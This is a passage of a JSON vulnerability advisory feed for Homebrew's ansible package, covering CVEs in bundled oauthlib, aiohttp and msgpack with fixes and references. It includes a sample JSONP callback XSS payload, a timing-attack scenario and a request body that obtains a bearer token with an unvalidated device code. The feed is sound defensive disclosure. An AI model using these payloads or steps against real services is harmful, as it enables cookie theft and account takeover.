scripts running in that origin.\n\nThe JSONP feature is intended for legacy cross-origin browser support. Deployments that need it are typically JavaScript-heavy clients, exactly the environment most sensitive to script injection.\n\n**Affected versions:** oauthlib >= 0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been present since the revocation endpoint was first introduced in 2013 (commit `da775de`). The `enable_jsonp` gate was added in 2014 (commit `b85f89a`) but no validation of the callback value was ever added.\n\n### Suggested fix\n\nValidate the `callback` parameter against a strict pattern for legal JavaScript identifiers before using it in the response. Reject or ignore values that do not match:\n\n```python\nimport re\n\n# Only allow safe JSONP callback names: valid JS identifiers, optionally dot-separated\nJSONP_CALLBACK_PATTERN = re.compile(r'^[a-zA-Z_$][a-zA-Z0-9_$]*(\\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$')\n\n# In create_revocation_response(), before using request.callback:\nif self.enable_jsonp and request.callback:\n    if not JSONP_CALLBACK_PATTERN.match(request.callback):\n        request.callback = None\n```\n\nThis is the standard mitigation for JSONP callback injection and is the approach used by jQuery, Express.js, and Google APIs. It ensures only syntactically valid function names like `package.hello_world` are accepted, while blocking payloads like `alert(document.cookie)//`.\n\nAs a secondary hardening measure, when JSONP is enabled, the response should set `Content-Type: application/javascript` (not `application/json` or empty) to ensure correct browser handling. Currently the success path returns no Content-Type at all, and the error path returns `application/json`.\n\nAlternatively, if JSONP is no longer considered a necessary feature, consider deprecating and removing the `enable_jsonp` option entirely. CORS is now supported by all modern browsers and is the standard mechanism for cross-origin API access.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"}],"references":[{"type":"WEB","url":"https://github.com/oauthlib/oauthlib/security/advisories/GHSA-hj66-6f7g-4r5v"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-49264"},{"type":"WEB","url":"https://github.com/oauthlib/oauthlib/pull/951"},{"type":"WEB","url":"https://github.com/oauthlib/oauthlib/commit/c888359f3c42bec235b2c5caab2069c9ed62457c"},{"type":"PACKAGE","url":"https://github.com/oauthlib/oauthlib"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/oauthlib/PYSEC-2026-4113.yaml"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-49265","published":"2026-09-30T18:44:09Z","modified":"2026-11-09T08:43:30Z","upstream":["GHSA-xpv3-w29h-x7cv","CVE-2026-49265","PYSEC-2026-4114"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.8.4_1"},{"fixed":"14.4.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"4.0.0","resource":"oauthlib","resource_purl":"pkg:pypi/oauthlib@4.0.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"oauthlib","subject_version":"4.0.1","key":"pkg:pypi/oauthlib@4.0.1","resource":"oauthlib"}]},"summary":"Oauthlib: Timing Attack Vulnerability in PKCE code_verifier Comparison (CWE-208)","details":"## Summary\n\nA timing side-channel vulnerability exists in the PKCE (RFC 7636) implementation \nof the Authorization Code Grant flow. The `code_challenge_method_plain` function \nuses Python's standard `==` operator for string comparison instead of a \nconstant-time comparison function, potentially allowing timing-based attacks.\n\n## Affected Component\n\n- File: `oauthlib/oauth2/rfc6749/grant_types/authorization_code.py`\n- Functions: `code_challenge_method_plain`, `code_challenge_method_s256`\n- Vulnerability Type: CWE-208 (Observable Timing Discrepancy)\n\n## Technical Details\n\nPython's `==` operator uses short-circuit evaluation when comparing strings:\n1. Returns `False` immediately if lengths differ\n2. Compares characters left-to-right, stopping at first mismatch\n\nThis means comparison time varies linearly with the length of the common prefix \nbetween the attacker-supplied verifier and the stored challenge, creating a \nmeasurable timing oracle.\n\n## Proof of Concept\n\nTested locally against oauthlib source (network jitter eliminated to isolate \npure Python execution time):\n\n| Input | Result | Time (10M iterations) |\n|---|---|---|\n| Wrong first char (`B` + `A`*49) | Fast reject | 0.34106s |\n| 49 chars correct (`A`*49 + `B`) | Deep compare | 0.37847s |\n| **Difference** | | **0.03741s** |\n\nThe ~37ms delta over 10M iterations corresponds to nanosecond-level differences \nper call, which are statistically exploitable under controlled conditions.\n\n## Attack Scenario\n\n1. Attacker intercepts `authorization_code` via Custom URI Scheme Hijacking\n2. PKCE blocks token request — attacker lacks `code_verifier`\n3. Attacker sends repeated requests to `/token` endpoint measuring response times\n4. Using timing oracle, attacker recovers `code_verifier` character by character\n5. Attacker obtains Access Token → Account Takeover\n\n> **Note:** Practical exploitability is limited due to the single-use nature of \n> authorization codes and real-world network noise. However, the vulnerable \n> pattern should be corrected as a defense-in-depth measure.\n\n## Recommended Fix\n\nReplace `==` with `hmac.compare_digest()` for constant-time comparison:\n\ncr: Elvin Latifli","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N"}],"references":[{"type":"WEB","url":"https://github.com/oauthlib/oauthlib/security/advisories/GHSA-xpv3-w29h-x7cv"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-49265"},{"type":"WEB","url":"https://github.com/oauthlib/oauthlib/pull/963"},{"type":"WEB","url":"https://github.com/oauthlib/oauthlib/commit/40b0ab56da3682c2484a4b78bbff309f8025d950"},{"type":"PACKAGE","url":"https://github.com/oauthlib/oauthlib"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/oauthlib/PYSEC-2026-4114.yaml"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-49272","published":"2026-10-28T08:44:12Z","modified":"2026-11-09T06:49:22Z","upstream":["GHSA-3jp2-3mrg-2vxc","CVE-2026-49272"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.7.0_1"},{"fixed":"14.6.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"4.0.1","resource":"oauthlib","resource_purl":"pkg:pypi/oauthlib@4.0.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"oauthlib","subject_version":"4.0.1","key":"pkg:pypi/oauthlib@4.0.1","resource":"oauthlib"}]},"summary":"OAuthLib: Bearer token can be retrieved as long as client knows a valid client ID for device workflow","details":"### Summary\nA call to the token endpoint with a grant type of `\"urn:ietf:params:oauth:grant-type:device_code\"` and a bogus `device_code` is able to get a bearer token as long as they know a valid client ID enabled for the device workflow.\n\n### Details\n\n[Section 3.4 of the RFC 8628 spec](https://datatracker.ietf.org/doc/html/rfc8628#section-3.4) says that the token endpoint should take in `device_code` as a required parameter.`DeviceCodeGrant.validate_token_request` does not perform any validation of `device_code`. `DeviceCodeGrant.validate_token_request` should be validating that `device_code` was passed in as a parameter and that it is valid, similar to how `AuthorizationCodeGrant.validate_token_request` does the checks [here](https://github.com/oauthlib/oauthlib/blob/a015b446622f2b925517501fe484c10eff7a83c0/oauthlib/oauth2/rfc6749/grant_types/authorization_code.py#L446) and [here](https://github.com/oauthlib/oauthlib/blob/a015b446622f2b925517501fe484c10eff7a83c0/oauthlib/oauth2/rfc6749/grant_types/authorization_code.py#L483).\n\nI would like to propose a new method be added to `RequestValidator` called `validate_device_code` that is similar to the `validate_code` method and is called inside of `DeviceCodeGrant.validate_token_request`.\n\n### PoC\nCreate an implementation of `RequestValidation.authenticate_client` that returns `True` if the client's `client_type` is `\"public\"`. You would find yourself in this scenario because there's another issue with `DeviceCodeGrant.validate_token_request` where it doesn't properly handle public clients (see https://github.com/oauthlib/oauthlib/issues/919).\n\nCreate a client that has a `client_type` of `\"public\"` and set it's `grant_type` to `\"urn:ietf:params:oauth:grant-type:device_code\"`.\n\nWith this implementation of `RequestValidation.authenticate_client` done, use that validator for your token endpoint. Call the token endpoint with a body of \n```\n{\n  \"client_id\": <ID of the public client you made>,\n  \"grant_type\": \"urn:ietf:params:oauth:grant-type:device_code\",\n  \"device_code\": <anything you want since it's not validated>\n}\n```\n\nYou now have a bearer token for the client without a valid `device_code`.\n\n\n### Impact\nAnyone using the RFC 8628 device workflow in oauthlib that doesn't realize the `device_code` parameter is not being validated.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:N"}],"references":[{"type":"WEB","url":"https://github.com/oauthlib/oauthlib/security/advisories/GHSA-3jp2-3mrg-2vxc"},{"type":"WEB","url":"https://github.com/oauthlib/oauthlib/pull/954"},{"type":"WEB","url":"https://github.com/oauthlib/oauthlib/commit/77a5f1c8ce00da2b0b8c5f6e9cc129920085f114"},{"type":"PACKAGE","url":"https://github.com/oauthlib/oauthlib"},{"type":"WEB","url":"https://github.com/oauthlib/oauthlib/releases/tag/v4.0.1"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-50269","published":"2026-08-13T16:35:22Z","modified":"2026-10-29T21:31:24Z","upstream":["GHSA-m6qw-4cw2-hm4m","CVE-2026-50269","PYSEC-2026-2106"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.14.0","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.5","key":"pkg:pypi/aiohttp@3.14.5","resource":"aiohttp"}]},"summary":"aiohttp: CRLF injection in multipart headers","details":"### Summary\n\nAttacker-controlled input included into multipart/payload headers can be used to modify a request to inject additional headers or similar.\n\n### Impact\n\nIn the unlikely situation that an application is passing user-controlled strings into `MultipartWriter.append(headers=...)` or `Payload.headers`, then an attacker may be able to modify the request to inject headers or change the contents of the request.\n\n### Workaround\n\nSanitise such user input.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/bf88077ebb14f4c29924b8e8904cba20c55c28b8","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-m6qw-4cw2-hm4m"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/bf88077ebb14f4c29924b8e8904cba20c55c28b8"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-54273","published":"2026-08-13T16:35:22Z","modified":"2026-10-29T21:31:24Z","upstream":["GHSA-4fvr-rgm6-gqmc","CVE-2026-54273","PYSEC-2026-2107"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"14.0.0"},{"fixed":"14.0.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.14.1","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.5","key":"pkg:pypi/aiohttp@3.14.5","resource":"aiohttp"}]},"summary":"aiohttp: HTTP/1 Pipelined Requests Queue Without Limit","details":"### Summary\n\nNo limit was present on the number of pipelined requests that could be queued.\n\n### Impact\n\nAn attacker may be able to use pipelined requests to use excessive amounts of memory, potentially leading to DoS.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/dfdfa9d5aad5d21f91c79fb2ceeba0f8046cb6cf","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-4fvr-rgm6-gqmc"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/dfdfa9d5aad5d21f91c79fb2ceeba0f8046cb6cf"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-54274","published":"2026-08-13T16:35:22Z","modified":"2026-10-29T21:31:24Z","upstream":["GHSA-xcgm-r5h9-7989","CVE-2026-54274","PYSEC-2026-2108"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"14.0.0"},{"fixed":"14.0.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.14.1","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.5","key":"pkg:pypi/aiohttp@3.14.5","resource":"aiohttp"}]},"summary":"aiohttp: Incomplete websocket frame payloads bypass memory limits","details":"### Summary\n\nIf an attacker sends large incomplete websocket frame payloads, it may be possible to bypass the usual size limits on memory use.\n\n### Impact\n\nIf a web application has WebSocket endpoints, it may be possible for an attacker to execute a DoS attack through excessive memory use.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/14b6ee851fb16ec199acb950de0c82d476799e7d","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-xcgm-r5h9-7989"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-54275","published":"2026-08-13T16:35:22Z","modified":"2026-10-29T21:31:24Z","upstream":["GHSA-4m7w-qmgq-4wj5","CVE-2026-54275","PYSEC-2026-237"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"14.0.0"},{"fixed":"14.0.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.14.1","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.5","key":"pkg:pypi/aiohttp@3.14.5","resource":"aiohttp"}]},"summary":"aiohttp: TLS Server Hostname Override Is Ignored When Reusing HTTPS Connections","details":"### Summary\n\nThe `server_hostname` TLS SNI check can be bypassed when an existing connection is reused.\n\n### Impact\n\nIf an application makes multiple requests to the same domain, but with different per-request `server_hostname` parameters, then the later calls may succeed by reusing the existing connection when they should have been rejected due to the TLS SNI check.\n\n### Workaround\n\nDisable keep_alive if you need to change the `server_hostname` check between requests.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/0ca2b6c28a25726527a8b60f25960262a91ed0e0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-4m7w-qmgq-4wj5"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-54276","published":"2026-08-13T16:35:22Z","modified":"2026-10-29T21:31:24Z","upstream":["GHSA-hpj7-wq8m-9hgp","CVE-2026-54276","PYSEC-2026-2109"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"14.0.0"},{"fixed":"14.0.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.14.1","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.5","key":"pkg:pypi/aiohttp@3.14.5","resource":"aiohttp"}]},"summary":"aiohttp: DigestAuthMiddleware Applies Credentials to Cross-Origin Redirect Challenges","details":"### Summary\n\n``DigestAuthMiddleware`` can send an authentication response after following a cross-origin redirect.\n\n### Impact\n\nIf the client follows a redirect (the default option) to an attacker controlled domain, the attacker may be able to extract the auth digest.\n\nThis likely requires an open redirect vulnerability or similar on the target domain for an attacker to be able to execute. Further, the attacker is only receiving the digest, so should only be able to extract the user's credentials if the cryptography is weak or there is some kind of password reuse.\n\n### Workaround\n\nDisable ``follow_redirects`` if this is a concern.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/38d16060037e1bfcd6d677abababa3c2a4bb58fa","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-hpj7-wq8m-9hgp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/38d16060037e1bfcd6d677abababa3c2a4bb58fa"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-54277","published":"2026-08-13T16:35:22Z","modified":"2026-10-29T21:31:24Z","upstream":["GHSA-63hw-fmq6-xxg2","CVE-2026-54277","PYSEC-2026-2110"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"14.0.0"},{"fixed":"14.0.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.14.1","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.5","key":"pkg:pypi/aiohttp@3.14.5","resource":"aiohttp"}]},"summary":"aiohttp: C HTTP Parser Bypasses max_line_size for Fragmented Lines","details":"### Summary\n\nIt is possible to bypass the max_line_size check in parts of an HTTP request in the C parser.\n\n### Impact\n\nIf using the optimised C parser (the default in pre-built wheels), then an attacker may be able to send oversized lines through the HTTP parser and use an excessive amount of memory, potentially leading to DoS.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/5ab61bb4cd88f19b712f12c7c9295fe262bf804d","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-63hw-fmq6-xxg2"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/5ab61bb4cd88f19b712f12c7c9295fe262bf804d"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-54278","published":"2026-08-13T16:35:22Z","modified":"2026-10-29T21:31:24Z","upstream":["GHSA-g3cq-j2xw-wf74","CVE-2026-54278","PYSEC-2026-2111"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"14.0.0"},{"fixed":"14.0.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.14.1","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.5","key":"pkg:pypi/aiohttp@3.14.5","resource":"aiohttp"}]},"summary":"aiohttp: Unread Compressed Request Bodies Bypass client_max_size During Cleanup","details":"### Summary\n\nDuring cleanup it is possible for a compressed request body to be decompressed into memory in one chunk.\n\n### Impact\n\nAn attacker may be able to send a compressed payload in specific situations that could be decompressed into memory, potentially leading to DoS (a zip bomb edge case).\n\n### Workaround\n\nDisable compression if unable to upgrade.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/4f7480e474cccc6a8cc2c92ad3f17a31dedf8232","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-g3cq-j2xw-wf74"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-54279","published":"2026-08-13T16:35:22Z","modified":"2026-11-04T08:38:13Z","upstream":["GHSA-2fqr-mr3j-6wp8","CVE-2026-54279","PYSEC-2026-2112"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"14.0.0"},{"fixed":"14.0.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.14.1","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.5","key":"pkg:pypi/aiohttp@3.14.5","resource":"aiohttp"}]},"summary":"aiohttp: Host-Only Cookies Become Domain Cookies After CookieJar Persistence","details":"### Summary\n\nHost-only cookies that are saved with ``CookieJar.save()`` and then restored later with ``CookieJar.load()`` lose their host-only status.\n\n### Impact\n\nHost-only cookies that have been loaded from disk may get sent to subdomains that previously should have been disallowed.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/a329a7aacad5284f087af36103aff778746da0f2","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-2fqr-mr3j-6wp8"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54279"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/a329a7aacad5284f087af36103aff778746da0f2"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/aiohttp/PYSEC-2026-2112.yaml"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-54280","published":"2026-08-13T16:35:22Z","modified":"2026-10-29T21:31:24Z","upstream":["GHSA-9x8q-7h8h-wcw9","CVE-2026-54280","PYSEC-2026-2113"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"14.0.0"},{"fixed":"14.0.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.14.1","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.5","key":"pkg:pypi/aiohttp@3.14.5","resource":"aiohttp"}]},"summary":"aiohttp: Payload Response Resources Are Not Closed After Mid-Body Disconnect","details":"### Summary\n\nPayload resources are not closed correctly when a client disconnects in the middle of a write.\n\n### Impact\n\nIf a payload is using an open file or similar limited resource, then an attacker may be able to cause resource starvation temporarily until garbage collection or similar closes the file.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/a762eda5242f6490d6ba667533193f8b473ad587","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-9x8q-7h8h-wcw9"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/a762eda5242f6490d6ba667533193f8b473ad587"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-57585","published":"2026-08-13T16:35:22Z","modified":"2026-10-31T18:52:26Z","upstream":["GHSA-6v7p-g79w-8964","CVE-2026-57585","PYSEC-2026-3625"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.5.0"},{"fixed":"14.0.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.2.1","resource":"msgpack","resource_purl":"pkg:pypi/msgpack@1.2.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"msgpack","subject_version":"1.2.4","key":"pkg:pypi/msgpack@1.2.4","resource":"msgpack"}]},"summary":"MessagePack for Python: Out-of-bounds read / crash on Unpacker reuse after a caught error","details":"### Impact\n\nIf the Unpacker is used repeatedly after an error occurs, the process may crash with a SEGV.\n\nIf the Unpacker is used repeatedly to unpack untrusted input from external sources, it may be vulnerable to a DoS attack.\n\n### Patches\n\nv1.2.1\n\n### Workarounds\n\nUsers should create a new Unpacker instead of reusing the same Unpacker after an error occurs.\n\nApplying the above patch can prevent SEGV, but reusing the Streaming Unpacker after it has encountered an error will not yield correct data. If an error occurs during Streaming Unpacking, the Stream and Streaming Unpacker should be discarded.\n\nTherefore, this is not just a workaround but the correct solution. The above patch only prevents crashes from incorrect usage.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/msgpack/msgpack-python/security/advisories/GHSA-6v7p-g79w-8964"},{"type":"WEB","url":"https://github.com/msgpack/msgpack-python/commit/2c56ddb5d0025ed481d962c0f5d62d19dec7476d"},{"type":"PACKAGE","url":"https://github.com/msgpack/msgpack-python"},{"type":"WEB","url":"https://github.com/msgpack/msgpack-python/releases/tag/v1.2.1"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-59881","published":"2026-08-13T16:35:22Z","modified":"2026-10-29T21:31:24Z","upstream":["GHSA-mq44-7p77-q5h7","CVE-2026-59881","PYSEC-2026-3547"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"14.0.0"},{"fixed":"14.2.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.14.2","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.5","key":"pkg:pypi/aiohttp@3.14.5","resource":"aiohttp"}]},"summary":"AIOHTTP: WebSocket client accepts compressed frames without negotiated permessage-deflate","details":"### Summary\n\nThe client accepts and decompresses frames with the RSV1 bit set even when the `permessage-deflate` extension was not negotiated.\n\n### Impact\n\nA client may unexpectedly decompress WebSocket frames when explicitly opted out. This could lead to additional CPU/memory consumption, but is unlikely to be a significant issue unless a zip bomb vulnerability or similar is also present.\n\n---\n\nPatch: https://github.com/aio-libs/aiohttp/commit/47fb6ae354d4fa22048f4dbe7dbf82b625f0a2f6","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-mq44-7p77-q5h7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59881"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/12978"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/47fb6ae354d4fa22048f4dbe7dbf82b625f0a2f6"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"http://github.com/aio-libs/aiohttp/releases/tag/v3.14.2"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-59884","published":"2026-08-13T16:35:22Z","modified":"2026-10-31T18:52:28Z","upstream":["GHSA-m4p7-r5rc-7g4j","CVE-2026-59884","PYSEC-2026-3455"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.7.2"},{"fixed":"14.1.0_1"}]}],"ecosystem_specific":{"fix":"bump","r